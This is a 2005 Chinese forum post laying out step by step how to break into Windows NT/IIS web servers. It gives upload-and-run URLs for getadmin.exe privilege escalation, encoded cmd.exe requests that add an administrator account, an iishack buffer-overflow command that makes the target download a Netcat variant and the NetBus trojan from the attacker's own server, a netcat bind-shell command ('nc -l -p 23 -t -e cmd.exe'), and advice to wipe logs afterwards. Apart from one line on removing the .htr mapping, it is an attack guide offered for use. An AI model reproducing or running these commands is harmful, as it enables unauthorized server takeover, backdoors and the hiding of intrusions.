找回密码
 注册
搜索
热搜: 超星 读书 找书
查看: 513|回复: 0

[【求助】] 入侵NTserver典型途径攻击基础

[复制链接]
发表于 2005-8-18 11:40:21 | 显示全部楼层 |阅读模式
入侵NTserver典型途径攻击基础
  
  1. 如果你有NT/IIS服务器的任何一个帐号,哪怕是guest帐号,都可以获得Administrator权限;
  2. 用netcat和iishack可以获得Administrator;
  3. iusr_计算机名这个帐号有ftp上传、web执行等权限;
  4. 在web server上执行程序是入侵NT的关键;
  5. 要在web server上执行程序就先要上传文件到cgi-bin目录或者scripts目录等有执行权限的目录上去。
  在本文中,目标机器的名称是ntsvr2,目标机器的域名是www.xxx.com,目标机器上有scripts和cgi-bin目录,scripts目录下有uploadn.asp等asp程序,可能有guest帐号,肯定有iusr_ntsvr2这个帐号。

  第一个方法:用iusr_ntsvr2或者guest这两个帐号(这里假设我们已经破解了这个帐号的密码),在浏览器输入:
 http://www.xxx.com/scripts/uploadn.asp
  guest和iusr_ntsvr2这两个帐号都可以进这个asp页面。
  在这里把文件getadmin和gasys.dll以及cmd.exe上传到/scripts目录,然后输入:
 http://www.xxx.com/scripts/getadmin.exe?IUSR_ntsvr2
  大约十多秒后屏幕显示:
  CGI Error
  这时有90%的可能是你已经把IUSR_ntsvr2升级为Administrator,也就是任何访问该web站的人都是管理员。
  下面可以add user:
 http://www.xxx.com/cgi-bin/cmd.exe?/c%20c:\\winnt\\system32\\net.exe%20user%20china%20news%20/add

  这样就创建了一个叫china用户,密码是news,然后:
 http://www.xxx.com/scripts/getadmin.exe?china
  第二个方法:用匿名ftp
  如果允许匿名帐号ftp登陆的设定,也给我们带来了突破NT server的机会。我们用ftp登陆一个NT
server,比如:www.xxx.com(示例名):
  c:\\> ftp www.xxx.com
  Connected to www.xxx.com
  220 ntsvr2 Microsoft FTP Service (Version 3.0).
  ntsvr2这个东西暴露了其NETbios名,那么在IIS的背景下,必然会有一个IUSR_ntsvr2的用户帐号,属于Domain
user组,这个帐号我们以后要用来获取Administrator的权限。
  User (www.xxx.com:(none)):anonymous
  331 Anonymous access allowed, send identity (e-mail name) as password.
  Password: 输入guest@ 或者guest
  对于缺乏网络安全知识的管理员来说,很多人没有将guest帐号禁止,或者没有设置密码,那么guest帐号就是一个可用的正确的用户帐号,虽然只属于Domain
guest组,在这种情况下我们就可以进NT server的ftp了。
  进去以后,看看目录列表,试试cd /scripts或cgi-bin等关键目录,如果运气好,改变目录成功,这时你就有了80%的把握了。
  把winnt下的cmd.exe copy到cgi-bin,把getadmin和gasys.dll传上去到cgi-bin,然后输入:
 http://www.xxx.com/cgi-bin/getadmin.exe?IUSR_ntsvr2
  大约十多秒后屏幕显示:
  CGI Error
  这时有90%的可能是你已经把IUSR_ntsvr2升级为Administrator,也就是任何访问该web站的人都是管理员。
  下面可以add user:
 http://www.xxx.com/cgi-bin/cmd.exe?/c%20c:\\winnt\\system32\\net.exe%20user%20china%20news%20/add

  这样就创建了一个叫china用户,密码是news,然后:
 http://www.xxx.com/cgi-bin/getadmin.exe?china
  或者
 http://www.xxx.com/scripts/tools/getadmin.exe?china
  你再用china的帐号登陆,就可以有最大的权限了,也可以用上面的cmd.exe的方法直接修改。如果没有cmd.exe,也可以自己传一个上去到scripts/tools或者cgi-bin目录下。

  第三个方法:用netcat和iishack
  如果你熟悉使用Netcat这个工具,你就知道netcat可以利用NT的弱点在其上绑定端口,下面用的eEye工具已经介绍过,如果你熟悉Netcat,成功的可能性会更大。

 
  IIS的ISAPI的毛病(*.HTR):我们再来看看eEye最近这两天发现的一个关于NT/IIS的问题和工具。在IIS的/Inetsrv目录下,有个DLL文件叫ism.dll,这个模块在web运行的时候就被加载到较高的内存地址,并且导致了零字节问题到处出现。IIShack.asm,利用这个毛病,eEye写了两个程序: iishack.exe、ncx99.exe,为达目的你必须自己有一个web server,把ncx99.exe和netbus木马传到这个web
server的目录下,比如你的web server是www.mysvr.com,而对方的IIS server是www.xxx.com,则:
  iishack www.xxx.com 80 www.mysvr.com/ncx99.exe (注意:不要加“http://”字符!)
  上述命令输入后这时你应该可以看到:
  ------(IIS 4.0 remote buffer overflow exploit)-----------------
  (c) dark spyrit -- barns@eeye.com.
 http://www.eEye.com
  [usage: iishack 〈host〉 〈port〉 〈url〉]
  eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe
  do not include http://' before hosts!
  ---------------------------------------------------------------
  Data sent!
  然后:再把Netbus等特洛伊木马传到对方机器上去:
  iishack www.example.com 80 www.myserver.com/netbus.exe
  ncx99.exe实际上是有名的Netcat的变种,它把对方server的cmd.exe绑定到Telnet服务,ncx.exe这是较早的版本,是把端口绑到80的,由于80端口跑web服务,端口已经被使用,所以可能不一定有效。然后,用Telnet到对方的99或80端口:

  Telnet www.xxx.com 99

  结果是这样:
  Microsoft(R) Windows NT(TM)
  (C) Copyright 1985-1996 Microsoft Corp.
  C:\\>[You have full access to the system, happy browsing ]
  C:\\>[Add a scheduled task to restart inetinfo in X minutes]
  C:\\>[Add a scheduled task to delete ncx.exe in X-1 minutes]
  C:\\>[Clean up any trace or logs we might have left behind.]
  这样,你就完全控制了其硬盘上的文件!注意,如果你type exit退出,对方server上的这个进程也会退出。
  参考资料: eeye.zip
  补救方法:在IIS的www service属性中将主目录的应用程序设置的*.htr的映射删除。
  第四个方法:如果你具有一个目录的上传权限,且这个目录具有执行的许可,那么恭喜你,你可以Telnet到这台server了!
  下面是具体步骤:
  假设你的目录是www.xxx.com/frankie,那么,把cmd.exe(位于C:\\winnt\\system32\\cmd.exe)和Netcat里面包含的nc.exe传到这个目录上去,然后在浏览器端输入:

 http://www.xxx.com/frankie/cmd.e ... 20-t%20-e%20cmd.exe

  这时候你的浏览器将停止不动,实际上server上的Telnet的服务已经产生了。
  这时,用Telnet连接www.xxx.com的23端口,你发现会不用密码、不用登陆,对方“C:\\”提示符已经出现在你的眼前!更妙的是,这个Telnet server是一个一次性的服务,当客户端一退出,该服务也将终止。
  Netcat不同于一般的特洛伊木马,它可以构建任何的TCP连接服务,在浏览器端输入上述的字符串,等价于在NT的dos方式下输入“nc -l -p 23 -t -e cmd.exe”,这将把cmd.exe绑定到23端口上。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|网上读书园地

GMT+8, 2024-11-19 20:39 , Processed in 0.211438 second(s), 18 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表